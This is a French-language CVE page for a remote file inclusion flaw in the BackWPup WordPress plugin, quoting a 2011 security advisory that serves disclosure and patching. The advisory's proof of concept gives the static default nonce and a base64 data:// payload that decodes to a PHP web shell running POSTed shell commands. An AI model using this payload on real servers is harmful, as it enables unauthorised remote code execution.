CVE-2011-4342
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Descriptions du CVE
PHP remote file inclusion vulnerability in wp_xml_export.php in the BackWPup plugin before 1.7.2 for WordPress allows remote attackers to execute arbitrary PHP code via a URL in the wpabs parameter.
Informations du CVE
Faiblesses connexes
| Nom de la faiblesse | Source | |
|---|---|---|
| Improper Control of Generation of Code ('Code Injection') The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. |
Métriques
| Métriques | Score | Gravité | CVSS Vecteur | Source |
|---|---|---|---|---|
| V2 | 7.5 | AV:N/AC:L/Au:N/C:P/I:P/A:P | nvd@nist.gov |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 17056
Date de publication : 2011-03-27 22h00 +00:00
Auteur : Sense of Security
EDB Vérifié : No
Sense of Security - Security Advisory - SOS-11-003
Release Date. 28-Mar-2011
Last Update. -
Vendor Notification Date. 25-Mar-2010
Product. Wordpress Plugin BackWPup
Platform. Independent
Affected versions. 1.6.1 (verified), possibly others
Severity Rating. High
Impact. System Access
Attack Vector. Remote without authentication
Solution Status. Upgrade to version 1.7.1
CVE reference. Not yet assigned
Details.
A vulnerability has been discovered in the Wordpress plugin BackWPup
1.6.1 which can be exploited to execute local or remote code on the web
server. The Input passed to the component "wp_xml_export.php" via the
"wpabs" variable allows the inclusion and execution of local or remote
PHP files as long as a "_nonce" value is known. The "_nonce" value
relies on a static constant which is not defined in the script meaning
that it defaults to the value "822728c8d9".
Proof of Concept.
wp_xml_export.php?_nonce=822728c8d9&wpabs=data://text/plain;base64,PGZ
vcm0gYWN0aW9uPSI8Pz0kX1NFUlZFUlsnUkVRVUVTVF9VUkknXT8%2bIiBtZX
Rob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ4Ij48aW5wdXQgdHlwZT0
ic3VibWl0IiB2YWx1ZT0iY21kIj48L2Zvcm0%2bPHByZT48PyAKZWNobyBgeyRfUE9TVF
sneCddfWA7ID8%2bPC9wcmU%2bPD8gZGllKCk7ID8%2bCgo%3d
Solution.
Upgrade to version 1.7.1
Discovered by.
Phil Taylor - Sense of Security Labs.
Sense of Security Pty Ltd
Level 8, 66 King St
Sydney NSW 2000
AUSTRALIA
T: +61 (0)2 9290 4444
F: +61 (0)2 9290 4455
W: http://www.senseofsecurity.com.au
E: info@senseofsecurity.com.au
Twitter: @ITsecurityAU
The latest version of this advisory can be found at:
http://www.senseofsecurity.com.au/advisories/SOS-11-003.pdf
Other Sense of Security advisories can be found at:
http://www.senseofsecurity.com.au/research/it-security-advisories.php
Products Mentioned
Configuraton 0
Backwpup>>Backwpup >> Version To (including) 1.7.1
Wordpress>>Wordpress >> Version -
- Wordpress>>Wordpress >> Version - (Open CPE detail)
Références
http://wordpress.org/support/topic/plugin-backwpup-remote-and-local-codeexecution-vulnerability-sos-11-003
Tags : x_refsource_CONFIRM
Tags : x_refsource_CONFIRM
